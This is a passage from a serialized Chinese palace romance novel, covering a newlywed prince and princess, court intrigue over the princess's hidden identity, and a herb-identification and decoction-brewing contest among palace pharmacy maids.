纯太妃沉默了一会儿,意味深长地说:“就是因为知道他们情深意重,又好不容易才在一起,方才如此行事。这日后里,每晚都是长夜漫漫,二人都正值青春年少,宽衣解带,干柴烈火,万一王爷自控不住,那丫头再伤及根本,彼时,又该当如何?再等等,再等等吧。” 张嬷嬷这才恍然大悟:“原是老奴疏忽了,还是娘娘顾忌的周全。” 纯太妃再次叮嘱道:“务必交待乐太医日日按时让那丫头服药,尽快将其身子调理好了!” “是。”张嬷嬷应道。 回到林月轩。 见到燕儿正在一边收拾,一边哭泣。 衣上云赶忙上去微笑着打趣安慰道:“怎么……后悔了?跟你家小姐嫁到王府才第二日,这就觉得委屈啦!” 燕儿拭了拭脸上的泪痕,说:“这大婚才第二日,太妃娘娘便如此急不可耐,丝毫不给小姐好脸色,燕儿是在替小姐委屈!” 衣上云回忆往昔,渐渐收起笑容来,落座在一边,说道:“太妃娘娘待人本就一贯严厉,又何来脸色不好之说!何况我们之间,还有很多说不出口的事,就连我自己……都不知该如何与她相处……” 燕儿接着又气道:“可她还让小姐今日就搬出林月轩,如此苛待小姐你。” 衣上云舒了口气,看着燕儿纯真的眼睛道:“不,唯独这一点,我倒很是确定,她是真的为了我好。” 燕儿对此则很是不以为然,随手丢下正在整理的衣物,与其不依不饶,争辩道:“哪里好了呀?谁家大婚第二日,夫妇便就分房睡的?” 衣上云见这丫头也是真的急了眼,便欲开口对其解释一二:“这个……” 可话刚开口,一想到与轩辕翰昨夜同榻而眠,半夜里醒来时看到他睡梦中的模样,其身上诱人的味道和健硕的身材,却又改了主意。 忽变得面色绯红着说:“算了,跟你个小丫头,我说了你也不懂,日后等你嫁人了,自然就明白了。” 说完,便起身踱步急急逃离开。 见此,燕儿顿两手叉腰,一副无所不知无所不晓的模样,对其背影气道:“小姐说不过便就是说不过,莫要哄我,我有什么不懂的,哼……” 大婚第二日,按照规矩,轩辕翰当携新妇入宫请安。 此刻,二人亦已双双坐在了前往宫中的马车上。 透过车窗帘,看着这城中沿途热闹的市井风光,此刻,衣上云的心情看起来似是很好。 忽然,马车颠了一下。 衣上云整个身子便顺势朝前倾了去,险些摔倒,轩辕翰眼疾手快地将其揽腰紧紧抱住。 这一回头看,方才觉察轩辕翰一直满脸冰冷地坐在自己的身旁。 衣上云知道他为什么在生气,于是凑身过去到其面前,一双亮晶晶的眼睛怔怔地望着他,说:“殿下还在为早上的事情不开心吗?” 轩辕翰并没有理她,依旧气着,遂转移目光故意不看她,心里想:“明知故问。” 见此,衣上云耐心地道:“我知道殿下不想云儿搬去云水阁。” 憋了一早上的气,至此轩辕翰终于对上衣上云的眼睛,开了口:“那你为何要拦住本王,只要本王想,母妃不会奈我何的?” 衣上云抿了抿嘴,缓缓收回视线,端坐着垂首下去,说:“可殿下有没有静下心来想过,其实,母妃也是为了我们好。” 轩辕翰心里依然愤怒,直视着前方,道:“大婚第二日便将你我分开,这叫对我们好?不知这是何道理,本王想不明白,也不想想明白。你是怎么命燕儿把东西搬走的,等会儿回府后便怎么搬回去。如若不然,从今夜起,本王便也随你每日宿在云水阁了。本王倒要看看,谁能将你我分开。” 听到轩辕翰对自己如此决心,衣上云心疼极了,她伸出手去握住轩辕翰搭在膝盖上的一只手,泪眼婆娑着道:“殿下,对不起,都怪云儿不好,委屈了殿下。” 终于,轩辕翰的心慢慢柔软了下来:“云儿,你说过,要让本王相信你,可你也要相信本王,本王能控制好自己。” 衣上云道:“云儿从未怀疑过殿下,可云儿怕自己守不住自己的心。为了我们的将来,就听母妃的,好吗?” 轩辕翰似是只能无奈地点了点头,继而抬手将她紧紧拥在自己的怀中,在其耳边温柔地喃喃细语说:“赶快把身子养好,本王已经等不了了。” 第五百七十二章:试探 偌大的西秦皇宫,也只有秦王府的马车是可以自由出入的。 待马车刚一停下来,轩辕翰便起身先下了车,后亲自将衣上云小心翼翼地从车上扶了下来,还不忘细心提醒其道:“当心仔细脚下,慢点儿!” 衣上云握着其臂膀,对其暖心之举微微一笑,示意其不必担心。 却是一下车来,顿望着眼前熟悉的地方,不禁怔在了原地,一动不动。 轩辕翰忽一回头,见她愣住,以为她是对于接下来的场面有些不知该如何应对,于是关切说道:“你大可不必紧张,一切都有本王在。” 衣上云忽回过神来,笑着对其摇了摇头,说:“云儿不是紧张,只是再次回到宫里,想起以前很多的人,很多的事,尔今却都已是物是人非。” 轩辕翰这才明白了她心中所想,只叹声说道:“世事变迁,亦是常态,不过还好,你我未变。” 衣上云笑了笑,亦是无比欣慰地道:“殿下,谢谢你,有你在身边,真好!” “是吗?有多好?”轩辕翰说着,与其对视在一起,紧紧盯视着她的眼睛,眼里满含着浓浓的爱意。 衣上云被盯的实在有些难为情,遂赶忙逃离开其眼神,说:“眼下时辰还早,殿下,云儿可不可以去御药房看看丁香?自打上次离宫一别,云儿便再也没有见过丁香了,也不知她现在过的如何?” 轩辕翰抬眼看了看周围,道:“如此,那本王陪你去……” 衣上云连忙阻拦道:“不必了,宫里的路,云儿都还记得。况且御药房距离这里不远,云儿自己过去便是。殿下若是出现在了御药房,怕是那些小药女们一个个又要犯花痴了,我的夫君生的如此好看,我可舍不得让别人看!” 轩辕翰一听,遂凑近到她身前打趣道:“这句话,本王怎么听着有些酸呢?莫非王妃是想将本王金屋藏娇不成?” 衣上云故意说:“我倒是想藏呢,只是殿下如此厉害,岂是我能藏得住的?” 轩辕翰附和着道:“怎的藏不住?依本王看,云水阁就极好,定能藏得住本王,不知王妃觉得怎么样?” 衣上云这才反应过来,便佯装有些生气地朝其背过身去道:“殿下怎么又来了?” 轩辕翰将其转过身来面对着自己,说:“好了,好了,本王开玩笑的。如此,那你自己当心些,本王先去找皇兄谈些事情,稍后过去接你一道给太后请安。” 衣上云笑着点头答应道:“嗯,好!” 待到衣上云刚刚离开,程良从另一头朝轩辕翰身边走了过来。 轩辕翰面色骤然变冷,沉声问:“怎么样?可有查到什么?” 程良对着轩辕翰的侧脸,道:“果然不出殿下所料,昨日一早的确有俩个新面孔去永安宫见过太后,且当时太后屏退了殿内所有侍从。根据我们按插在太后身边的人描述,属下确定,那正是寿伯主仆俩。” 轩辕翰顿时眼睛一怔,继续问:“可知那二人现在哪里?” 程良有些吞吞吐吐:“这个……” 轩辕翰余光一瞥,道:“怎么?” 程良低眼,抿了抿嘴唇,道:“后来,皇后娘娘忽然进去了,我们的人便不得不先行避开。皇后娘娘离开时,身边的婢女特别嘱咐,不可将皇后那时去过永安宫的消息告诉太后,如此一来,想必皇后娘娘也应该知道了这件事,很可能,皇后娘娘知道寿伯主仆俩的藏身之处。” 闻此,轩辕翰一双剑目顿射向程良的脸,甚觉不可思议地道:“你说皇后她……” 程良颇为认真地点了点头,肯定地回应。 轩辕翰着实万万没有想到,这件事,竟然将皇后也牵扯了进来。 于是他紧皱着眉头,若有所思着步履沉稳地一路到达了御书房,却见皇后竟然也在场。 遂将其只扫了一眼,便来到了璟帝面前,朝其行礼道:“皇兄,皇嫂。” 璟帝正在练字,似是正在兴头上,闻声并未停下手里的动作,只依旧关注着自己手里的笔锋,开口道:“皇弟怎么一人独自过来了,为何不见你那新妇?秦王妃人呢?” 轩辕翰道:“她已经随臣弟入宫了,稍候臣弟便会带她去永安宫给母后请安。” 璟帝乐道:“如此甚好,皇弟的姻缘一直是朕心头的一件大事。如今皇弟也总算是找到了对的人,想来纯太妃亲自向母后所求之人,定是错不了,就是家世不够显赫,本配不上我轩辕皇族,但是……皇弟喜欢就好,朕也可以就此放心了。” 轩辕翰兀自在一旁落座下,并没有说话。 这时,皇后将一盏热茶亲自盛上,微笑着道:“秦皇叔,请用茶。” 轩辕翰朝其致谢:“多谢皇嫂。” 璟帝开口继续说:“朕听人说秦王大婚,可是轰动了西秦整个皇城,普天同庆,堪比朕当年与皇后大婚啊!若不是那城西衣府家薄,嫁妆不及当年皇后母家,险些就要被你夺去朕的风头了。” 岂料轩辕翰则镇定自若地道:“臣弟不敢,帝后之光辉,犹如日月,怎可是臣弟所能及的。想来这些应只不过是那些没见过世面的无聊之辈的谣传而已。” 璟帝道:“皇弟莫要如此说,这些年来,皇弟为了国之安宁,金戈铁马,四处征战,劳苦功高,如今区区一场婚礼又算什么!” 至此,轩辕翰也不再说什么,沉默了下来。 璟帝亦沉默片刻,复又再次开口道:“对了,近日边关来报,东宁与南安时不时又犯我边境,看来如果我们再不派兵出手,怕是就要变被动而失去先机了。” 轩辕翰当然知道野心勃勃的璟帝想做什么,便道:“臣弟随时听候皇兄派遣。” 璟帝又似是慎重,说道:“先发制人,可虽说如此,在这节骨眼上,我们也不能盲目的出兵。” 轩辕翰附和着道:“皇兄说的是,眼下局势不明,的确需要一个万全之策方可。” 璟帝一想到自己千年难遇的好计谋就这样被他破坏,恨的牙痒痒,于是顺势不妨将问题抛出,试探其道:“那依皇弟来看,东宁与南安,哪个先出兵对我们比较有利?” 轩辕翰想了想,说:“如今眼看着即将要立夏了,届时南安国雨水增加,湿气将更重,随之瘴气亦是更会到达顶峰,若是等到立秋再出兵的话,会更合时宜稳妥些。” 璟帝点了点头,以示同意。 这时,他终于完成了书案上的那副气势磅礴的字幅:“天下为公” 对着其端详审视了一会儿,似是很满意。 于是放下手里的笔墨,抽身坐了下来,端起皇后刚刚为其斟好的一盏热茶,抿了一口,接着又道:“那东宁呢?皇弟先替朕拿下东宁如何?” 闻此,皇后心头忽紧了一下,顿看向轩辕翰的脸。 轩辕翰则面色一贯清冷,让人琢磨不透他心里的想法,思虑片刻道:“东宁……东宁国疫情尚未结束,况且还有玥儿……不知皇兄做如何打算?” 闻此,璟帝笑了一阵,既而阴阳怪气地说道:“皇弟真的是在替玥儿担心吗?还是……心中另有所忧?” 轩辕翰不想回答。 璟帝看出了他的心思,又看看另一边皇后苍白的脸,道:“其实,朕觉得,应该还有第三种方案?” 轩辕翰道:“臣弟愿闻其详。” 璟帝复又抿了一口茶汤,看向轩辕翰的脸,道:“尽快找到守护者后人,朕想,她定会助朕解决眼前这所有难题!” 轩辕翰再次沉默不语。 璟帝又道:“可惜呀,就连这灵空大陆上最足智多谋,骁勇善战的西秦秦王多年都不曾找到的人,不知道她究竟是生是死了!” “是臣弟无能。”轩辕翰佯装自责道。 璟帝继续放狠话试探着说:“若是真的找不到,那我西秦将士们便只能上阵死战了!天下为公,可我若不先下手为强,来日便就只能任别人宰杀,践踏之了!” 轩辕翰当然知是在对他进行试探,便只道:“臣弟定加快寻找守护者后人。” 说完,便起身来,说:“臣弟先行告退,稍后在母后那里与皇兄再会。” 璟帝道:“去吧!” 轩辕翰怒气冲冲地出了门,此时他心里已是无比确定,衣上云是东宁国永宁公主的身份定是已经被璟帝察觉。 于是便吩咐程良:“去查,是谁泄漏了王妃的身份。” 就在俩人刚走出御书房不远,忽被一声音叫住。 “秦皇叔请留步” 闻声,轩辕翰一回头,见原是皇后追了上来,便道:“皇嫂。” 皇后朝其急急追了上来,说道:“本宫此前答应玥儿要在那丫头出嫁的时候,送她一份十里红妆。秦王看看都可还行,如若有问题,本宫还可以让人去……” 尚未及其将话说完,只见轩辕翰先从自己身上摸出一信封来,将其递到了皇后的面前。 皇后不明所以地问:“这是什么?” 第五百七十三章:本王看谁敢动她 尚未及皇后将话说完,轩辕翰先从自己身上摸出一信封来,将其递到了皇后的面前。 皇后一边从轩辕翰的手里将其接过,一边不明所以地问:“这是什么?” 待一拆开来,见竟是自己命人送到城西衣府的礼单。 于是,瞬间瞪大了眼睛惊诧万分地问:“秦皇叔这是何意?为何将本宫赠予云儿的嫁妆,俱都原封不动地退了回来?” 轩辕翰解释道:“皇嫂的心意,本王替云儿心领了。只是……方才皇嫂也听到了,若不是本王及时发现并划掉了皇嫂的这份十里红妆,想必今日皇兄定要借故大发雷霆了。” 皇后却是不以为然,复又将其递回上前,赶忙解释说:“这些都是本宫自己的东西,皇上他管不着的。” 轩辕翰双手附后,说道:“夫妻本是一体,不分彼此,为避嫌,皇嫂还是收回去吧。” 顿了顿,继续道:“本王的女人,本王还养的起,就不劳烦皇嫂费心了。” 说完,便毫不留情地转身兀自离去。 看着其一脸冰冷,渐渐远去的背影,皇后缓缓收回尚还停留在半空中的那只手来。 思虑一瞬,忽然扬声喝了一句:“站住!” 闻声,轩辕翰并没有回头,只是背对着她顿停下脚步问了句:“皇嫂还有何事?” 皇后朝着四下里看了看,见并无旁人,便三步并作两步复又追了上去。 对着轩辕翰的后背道:“秦皇叔,云儿,她就是守护者后人,对吧?” 闻此,轩辕翰心里惊诧极了,遂目光顿时朝着前方怔了一下。 继而缓缓转过身去,道:“皇嫂此话何意?本王不知皇嫂在说什么?” 皇后笑了笑,说:“本宫此话何意?秦王是真的不知本宫在说什么吗?还是,秦皇叔明明心里比本宫更加清楚,却还是不肯承认……云儿,她便就是我西秦国遗失多年的守护者后人。” 轩辕翰虽然不知道皇后是从哪里得来的消息,但见皇后此刻似是一副颇为胸有成竹的样子,一时间里,便也没有再说话。 岂料皇后却紧接着忽然又乍了句:“每一位守护者身上,都有一个只有守护者后人才具有的生来便是世间独一无二的凤凰印记。想必,那丫头身上的凤凰印记,秦王亦早都已经亲自验过了吧!无需本宫再命人验上一验!” 轩辕翰实在没有想到,皇后对于守护者后人竟然了解得如此之多。 一直以来,自己处心积虑地隐藏,没想到衣上云的身份还是暴露了。 听到皇后竟还想亲自替其验身,顿时有些着急地扬声大喝道:“本王看谁敢动她。” 见其一双剑目冰冷地朝自己射来,皇后冷不防被惊了一下。 却是片刻便回过了神来,遂冷笑了一声,道:“本宫若是真有心想要动她,如今便不会单独出现在这里与秦王说这些话了。” 轩辕翰这才明白过来,她此次前来原是另有目的,于是转身侧对着她,沉声问:“你想怎样?” 皇后道:“想必秦皇叔应该知道,每一位守护者,只能,也只会守护西秦天子一人。” 轩辕翰毫不畏惧地道:“那又如何?如今,她已然是本王的王妃。” 皇后想了想,道:“守护者可以归你,但是你要答应替本宫做一件事情。” “你要本王做什么?”轩辕翰心里顿了一下,道。 皇后脸上渐渐浮起无边忧愁来,道:“本宫知道,这些年来,一直都是秦王在帮皇上开疆拓土,破北烈,抵御外患,保西秦百姓平安。” 轩辕翰冷声说道:“这些都是为人臣子理所应当这样做的。” 皇后对其苦笑了一阵,微微摇了摇头,继续幽幽说道:“本宫深知,如今的朝廷内部,秦王与皇上的势力斗争愈加剧烈。这些年,皇上刚愎自用,一意孤行,不能任人唯贤,知人善任。致使其许多官员在地方上胡作非为,肆意加重赋税,搜刮民脂民膏,导致百姓们民不聊生。” 顿了顿,皇宫心中忿忿,隐忍着继续说:“人祸加之天灾,自从皇上继位以来,地震水灾亦是时有发生,那些官员们更是变着法儿要百姓们给朝廷无偿修河堤,民心早已是怨声载道。” 说着,她看了看轩辕翰此刻亦是凝重的侧脸,道:“然这一切,若不是秦皇叔亲力亲为,匿名捐出自己的银钱,百姓们便不能及时得到救济。若不是秦皇叔亲自带领百姓们一起修堤坝,且暗中购置了大量淤出的良田分给受灾的灾民,这一国百姓将永生永世都生活在水深火热之中。” 皇后心里其实很清楚,她早已知道这片大陆就要变天了。 可无论如何,她自己却一心只想护住自己的一双儿女。 璟帝昏晕无能,这些年早已失了民心,就连自己的亲生骨肉都不曾放过。 每每想到,亦或听到有关东宁国的消息,皇后都是心惊胆战。 尔今,普天之下,怕是唯有秦王轩辕翰才能护住他们。 况且如今,他又得到了守护者力量的支持,世人皆传,得守护者力量者得天下。 枉费天下人皆为了寻此力量费尽心思,原来,其真正的主人根本无须寻找,守护者自然而然自会去到其身边。 皇后瞬间恍然大悟。 回首再想想之前在永安宫里听到的惊天秘密,一直以来,璟帝原来竟是太后不得已假以狸猫换太子的身份。 而自己,与其多年来以母女相称的母后,竟然在暗地里悄悄谋划着一个如此之大的阴谋。 这样一来,那西秦国真正的天子,不就正是眼前智勇兼备,深得民心所向的轩辕翰吗? 这一切,着实是令人太不可思议了。 思虑再三,皇后开口对其央求说:“本宫想请求秦皇叔,未来,无论秦皇叔想要做什么,都请秦皇叔务必护住玥儿与昊儿。他俩什么都未曾做过,亦什么都不知晓,他们打小便仰慕秦皇叔的为人,极敬重你,也都以你为榜样。” 今日一席话,见皇后说的确实极为认真,轩辕翰亦认真地想了想,开口试问她:“本王若是不答应呢?” 皇后本就是个温柔善良之人,然却也为母则刚,于是咬了咬牙,狠狠说道:“那秦皇叔便莫怪本宫为了自己的一双儿女拼死相护,将会与守护者玉石俱焚了。” 轩辕翰想了想,最后终是答应了她:“好,本王答应你。但是……本王绝不是怕你以云儿威胁本王,云儿是本王的全部,本王定会以命相护自己的女人,不会让她有任何危险。本王今日之所以答应你,是因为……本王根本从未想过要伤害太子与公主,本王……犯不着。” 至此,皇后终于如释重负般笑了…… 而另一边,在御药房里。 衣上云却并不似怎么赶巧,本想许久未见,给丁香一个惊喜。 然而到了以后,才知道丁香被外派出宫办差,说是今儿个一早便要回来的,却至今未归。 昨日秦王大婚,迎娶的并非什么名门贵女,而是出自不甚卑微的小门小户,城西衣府的女儿,曾经在御药房里与许多人一样卑躬屈膝,为奴为婢的衣上云。 此消息一出,在宫里,如今衣上云早已成为人尽皆知的一朝飞上枝头变凤凰的麻雀。 虽说碍于她如今倚靠秦王府的尊贵背景,大家对她多少还是俱都敬畏了许多,其所到之处,人人纷纷朝其曲膝行礼:“给秦王妃请安。” 衣上云亦俱都朝其和气地道:“都起来吧,不必多礼。” 远远地,张院判一见秦王妃亲临,亦赶忙从药房里出来亲自相迎。 衣上云见其现出身来,忙道:“院判大人别来无恙?” 张院判扬起满脸笑容:“秦王妃大驾光临御药房,有失远迎,失敬失敬!” 衣上云笑道:“院判大人不必客气,我今日进宫,只是路过来看看故人。” 丁香未在,张院判便将衣上云请进厅里喝茶闲聊。 于是,那些不乏难免有个别之人,便开始守在门外,在背后对其指指点点。 就仿佛眼前的这位,在衣上云之前的大药女,正领着一伙药女挤在一起,满口污秽之词。 “早就知道她骨子里便是个狐媚的,当初在御药房的时候便不知背地里怎么勾搭上的王爷。如今,果然成功爬上了秦王殿下的床榻。也不知能过几天这样的好日子,便会比上一任秦王妃下场更惨,定会同样被扫地出门。” 另一与其年龄相仿的女子则一边搔首弄姿,一边叹息极了地道:“哎,也不知道咱们睥睨天下的秦王怎么就看上她了呢?真是可惜了我这副花容月貌。整日呆在这里与这些杂草一起,感觉自己都快枯萎风干了。到底什么时候,才能再见秦王殿下一面呢?” 闻此,众药女一起和道:“是啊,是啊,好想再睹一眼秦王的风姿。” 就在这时,从众人身后忽传出一阵严厉的训斥声音来…… 第五百七十四章:大药女之角逐(一) 就在这时,从众人身后忽传出一阵严厉的训斥声音来…… “你们都好大的胆子,连秦王妃都敢背地里非议,真的不怕掉脑袋吗?” 闻声,众药女不约而同地纷纷顿惊回过头去。 只见丁香不知何时竟已归来,且就站在众人身后,正一脸严肃的怒对着众人。 那领头的药女方才说话还伶牙俐齿起劲地很,转瞬却忽变得支支吾吾起来,吞吞吐吐惊诧地道:“丁香……你……你什么时候回来的?” 丁香狠狠地白了她一眼,上前两步到其面前,训斥道:“怎么?方才还见你带头嚼舌根的那股热烈劲儿,怎么这么快便就泄气了?” 说着,顺带将其余在场所有人扫了一眼:“你们一个两个都聚在这里做什么,我才出宫不过几日,你们便就如此闲散了吗?都没有什么事可做吗?” 看到队伍角落里一眼神慌张的女子,丁香唤其道:“茱萸,整个御药房里就数你医药术最差,你有时间在这里跟着别人嚼舌头,不如好好多读点书,精进自己的医药术。等到出宫的时候还能多得几两银子,自己的家境自己不清楚吗?若是还不努力,妄想着天上能掉陷饼吗?我出宫的时候,教你炮制的药丸都做好了没有?” 茱萸平日里一直跟在丁香的身边学习,今日只是听人说,睥睨天下,英俊神武的秦王进了宫,可能会到御药房,于是便亦想一睹其英姿飒爽之风采而来此。 然此刻被师傅训斥,遂抿了抿嘴唇,老实地道:“还没有……” 说着,忽一抬起头来对上丁香严厉的眼睛,紧忙着急地说:“就快要好了,我马上去做,马上去做。” 一边说着,便缓缓倒退起来,直至退至圆形拱门处,一溜烟般地溜跑了。 眼睁睁看着众人被训责,各个都低头不语,那前任药女竟放胆反驳起丁香来。 “丁香,你不要以为自己仗着某些人得了御药房大药女的身份,便就可以管天管地,为所欲为了,这些年,你也不问问这里有几个人服气你的?” 见状,丁香认真地看了看她的眼睛,又看了看其他几个朝自己投来质疑眼神的人,于是决定和她好好理论一番。 “你这话是什么意思,不妨今日当着大家伙的面说清楚了。你说我仗着某些人才得的这个大药女的身份,那你倒是给我说清楚道明白了,我仗的是谁的势?” 那药女瞥了一眼衣上云与张院判所在屋子的方向,心里忽想到如今的衣上云可并不好惹,于是竟又默默地吞了口口水,不再做声。 遂只放低了声音,用几乎只有自己才能听见的声音,自顾自说道:“你依的是谁的势,难道自己心里没点儿数吗?” 丁香只看到其嘴巴微微动了动,于是朝其斜了斜耳朵,想要将她的话听清楚一些,然却终究还是什么都没听到,于是再一次问她:“你说什么,大点儿声?” 就在这时,一阵严肃的声音响起,从屋内方向传到院子里来。 “是什么人在这里大声喧哗,竟敢出言诋毁大药女,对大药女不敬,此乃以下犯上之罪,莫不是想挨板子了吗?” 闻声,众人,包括丁香,皆都顿惊慌失措地纷纷下跪致歉道:“院判大人恕罪,奴婢们知错了。” 张院判出门来立定在众人面前,衣上云跟随其后,张院判怒道::“今日秦王妃在此,你等竟如此大胆,目中无人,在此聚众闹事,都反了吗?” 众人皆都瞬间变得哑口无言。 见此,衣上云缓缓上前,深看了丁香一眼,说道:“我知道,之前因为我的举荐,让丁香代替我成为御药房大药女这件事,你们之中许多人多多少少都有些意见,认为我心存有偏见。其实,当时我在各位之中,是经过反复仔细的观察和斟酌才选择丁香的。” 闻此,丁香朝其默默投来了感激不尽的眼神。 而衣上云对其亦相对望着微微一笑,继续道:“如今多说无益,事隔多年,可若是有人真的比她更有才能,自当理应被提拔。” 闻此,张院判问:“不知王妃此话的意思是……” 衣上云扭头望着张院判的眼睛,忽然提议说:“院判大人,不妨今日就来一场药女间真正公平的比试吧。看谁的技艺精湛,理当得大药女之职。如此一来,日后大家才会对大药女心服口服。” 张院判一听,遂暗自琢磨起来:“药女之间的比试……” 想着想着,忽然乐了起来道:“好,王妃此主意极好!既然如此,那便由微臣亲自来主持这场比试吧,微臣亦许久未见如此激烈的角逐了。” 紧接着便对众药女下令,道:“为了以示公平,今日御药房所有人均可参加比试。见证你们平日里苦练技艺的时候到了,今日谁拔得头筹,谁便是当之无愧的御药房大药女,此后,看谁还敢不服气!” 衣上云笑了笑,望回向了丁香的脸。 丁香朝其点了点头,亦以示其放心。 比赛的地点,就设在这大院之中,引得几乎整个御药房的人都纷纷前来围观。 比赛的内容,无非就是每日里每个人都习惯性的工作。 然几经淘汰,最后就剩下了前任大药女与丁香两人巅峰对决。 张院判与衣上云落座在上。 此刻,前任药女和丁香的眼睛均都被一块布巾蒙了起来。 届时由两名药女各自捧上一个木盘,木盘里不知放了什么,上面竟俱都神秘地用一块红绸布盖着,放到了俩人面前的案上。 张院判悠悠道:“识药,是御药房最基本的技能。现在在你们的面前放着的是同样几味药草,请二位在规定时间内完成辨识,后准确无误地将其全部写下来。” 俩人方法基本相同,都是先用手指捏起轻轻碾了碾,后又将碾碎的药渣靠近到鼻翼端闻了闻。 前任大药女很快便写下了:“蜜麻黄,当归,天冬,玉竹,赤芍,生石膏,知母,黄芩,茯苓,白术,干姜。” 而丁香比前任大药女在最后关头甚至还多了一个动作,有几味药草,她亲自尝了一下,于是才写道:“蜜麻黄,升麻,当归,天冬,玉竹,赤芍,生石膏,知母,黄芩,茯苓,桂枝,白术,炙甘草,干姜。” 见俩人俱都已经放下了手里的笔,张院判起身亲自过去查验。 先走到前任大药女身边将其作答看了看,问:“你确定自己已经全部将其辨识出了?” 前任大药女对其信心满满地道:“是。” 张院判笑了笑,又踱步到丁香身边,一见她的答案,眼睛顿时朝其怔住:“如此复杂的方子,你也辨得出?” 丁香笑了笑,看了看座上一脸淡定的衣上云,道:“《伤寒论》里记载,伤寒六七日,大下后,寸脉沉而迟,手足厥逆,下部脉不至,咽喉不利,唾脓血,泻利不止者,为难治,麻黄升麻汤主之。” 一见衣上云朝向自己温柔的笑脸,继而将目光收回细细禀道:“麻黄升麻汤是《伤寒论》中最复杂的方剂。麻黄、升麻两味药主要强调辛散祛邪,方中还含有白虎汤的意思;麻黄升麻汤症热在肺胃,所以方中石膏、知母清胃热,又用黄芩清肺热;再加玉竹、当归、芍药、天冬养血活血,以及针对中焦虚寒的苓桂术甘汤加干姜。这个方的药味虽比较多,但是每味药的用量都不大。” 见其对于药方侃侃而谈,张院判惊奇地道:“你一个药女,怎会懂得如此之多?” 丁香坚定地道:“这都是之前王妃教我的方子,也是王妃教我的识药方法。” 张院判点了点头,道:“不错,甚是不错。” 遂朝衣上云再一次投去了钦佩的目光,继而转身宣布道:“此局,丁香胜。” 前任药女一听,顿卸去脸上自信的笑容,甚觉不可思议地朝其质疑道:“怎么可能,我哪里错了?” 张院判复落座回去,解释道:“你难道不记得方歌里道,麻黄升麻汤芍姜,知膏天冬苓术黄。归蕤炙草十四味,寒热并用和阴阳。” 闻此,前任大药女这才反应过来,难怪辨识时觉得这些配伍有些熟悉:“原来是……麻黄升麻汤,归蕤炙草十四味……十四味。” 张院判灵光一闪,随即加紧开始第二轮考核:“第二轮考核,不如我们就来比试煎制你们面前的这方麻黄升麻汤,如何?” 此题一出,周遭观众之间顿时炸开了锅。 “什么?比煎药?这不是我们平日里所做的最简单的工作吗?” 张院判乐道:“根据药方煎药,亦是一件尤为重要的工作。煎药方法不同,药的药效不同,药方的煎法是非常考究的。同一药方,因为药物的煎法、服法不同,治疗的适应症和效果就不一样,一种病症,即便诊断再准确,用药再恰当,可如果煎、服的方法不当,就不可能发挥其应有的疗效,可见煎药并非简单的把抓回的药放入砂锅里,在炉火上用火煎煮而已。” 第五百七十五章:大药女之角逐(二) 前任大药女尚还怔愣在原地,似是依旧未从自己粗心失误的沉思中清醒过来,嘴边低声一遍遍重复默念着自己往日里亦同样烂记于心的:“麻黄升麻汤芍姜,知膏天冬苓术黄。归蕤炙草十四味,寒热并用和阴阳……” 与此同时,注视着案上自己白纸黑字亲手记录留下的残缺药方,自责极了:“原来是……麻黄升麻汤,归蕤炙草十四味……应是十四味才对啊。” 然放眼望去,看到围观众人此时纷纷朝着丁香投送去满脸羡慕钦佩的眼神,而丁香则满腹感激之情无以言表,却俱都写在脸上,望着上座着对其表现颇为满意的衣上云,自己满心更加不是滋味。 听到张院判已宣布第二轮比试开始,且限时半个时辰,伴随着比试开始的锣身响起,忽回过神来。 复又不得不气呼呼地拿起药包来走到了炉火旁。 朝着对面的丁香心里暗暗道:“我就不信了,你煎药的本领亦是我教的,难道我这次还能再次输给你不成?左不过是一道麻黄升麻汤而已,怎会需要半个时辰,怕是专给你这样的白痴出的题吧?” 说着,遂默念了一遍口诀:“麻黄升麻汤,以水一斗,先煮麻黄一两沸,去上沫,纳诸药,煮取三升,去滓,分三次温服。” 说完,便动作麻利地将麻黄捡出,置入陶罐,再倒入冷水,置于炉火之上,一边执扇生火,一边开始了其他动作。 而另一旁的丁香亦默念了一声,道:“麻黄升麻汤,先煮麻黄,去上沫,内诸药再煎。” 然她却并未急着架火,而是将自己药包里的麻黄先快速地分捡了出来,放入到陶罐中,加水浸泡了起来。 见此细节之处,张院判将耳朵凑过去了一些,朝衣上云悄声地问:“这也是王妃教的?” 衣上云笑而不答,张院判心中却已有了答案,对其敬畏之心却是再一次只增不减。 继而故意打趣催促丁香道:“这麻黄已是事先清洗干净了的,你不必多此一举,还是快快煎药吧,否则待会儿输了可就难看了!” 丁香笑了笑,没有说话。 大约过去了一刻钟左右,丁香才重复起前任大药女的步骤。 很快,果然是大药女先行将药汤煎制好盛出,还当着众人的面故意将煎制的时间延长了许多。 见此,周围众人皆对其赞叹不已:“论煎药,还是数大药女颇为熟练,大药女手脚麻利,这一轮,定是大药女稳稳地胜了。” 大药女听闻,亦是抬头挺胸,趾高气昂,一副洋洋得意极了的样子,准备着迎接自己胜利的到来,看丁香当着众人的面出丑。 稍后,丁香亦已完成了整个麻黄升麻汤的煎药过程。 张院判看着俩人一前一后,盛上来到他面前的两碗表面看起来并无太大不同的汤药,不紧不慢地开口问丁香。 “煎制麻黄升麻汤,你为何要花比别人多一倍的时间先将麻黄浸泡过后才煎药,而不是直接快速地煎制药汤以求胜呢?” 丁香执起手来,缓缓解释道:“麻黄味辛、微苦,性温,不但有发汗解表的作用,还有宣肺平喘的功效,甚至可发挥利水消肿的功能。其煎制时间大约为一刻钟,时间过久,则会导致麻黄中的有效成分大量挥发,严重时甚至会致使其失去药效。” 说着顿了顿,她看了看衣上云,继续道:“但王妃娘娘曾经教导奴婢,万事切不可只求效率。在煎制此药时,需要注意,麻黄在煎制之前必需要泡水,因为煎制前在水中浸泡后,有助于使麻黄的有效成分更好的析出,从而发挥麻黄最好的治疗效果,浸泡时间通常亦在一刻钟左右,时间亦不可过长。” 闻此,张院判吃惊地道:“哦?王妃曾经还教过你煎药?” 丁香道:“不仅如此,王妃还曾教导奴婢煎药的许多细节,比如:关于煎药的器皿、药材的浸泡、以及用水、煎药火候、加盖、煎药时有些药物需要区别对待,如先煎、后下、冲服等。煎煮时间从煮沸之后开始计时,一般治疗外感疾病的熬制一刻钟左右即可,补益类则需煎煮大约半个时辰,其余的药煎煮一刻半即可。有时候,御药房里的人手不够,为了节约时间,有些药会一次煎制出几天的药量,药汤再加热时一般不需要煮沸,只要达到饮用的温度即可。通常采用文火,药汤刚有沸腾即可,放凉些再饮用。还有药汤的存放……” 看到丁香说起平时煎药的技巧来滔滔不绝,其所说的都是与自己平日里一模一样的工作,却是自己从不曾思及过的,大家不禁都纷纷自叹不如。 “丁药女真的懂好多呀!” 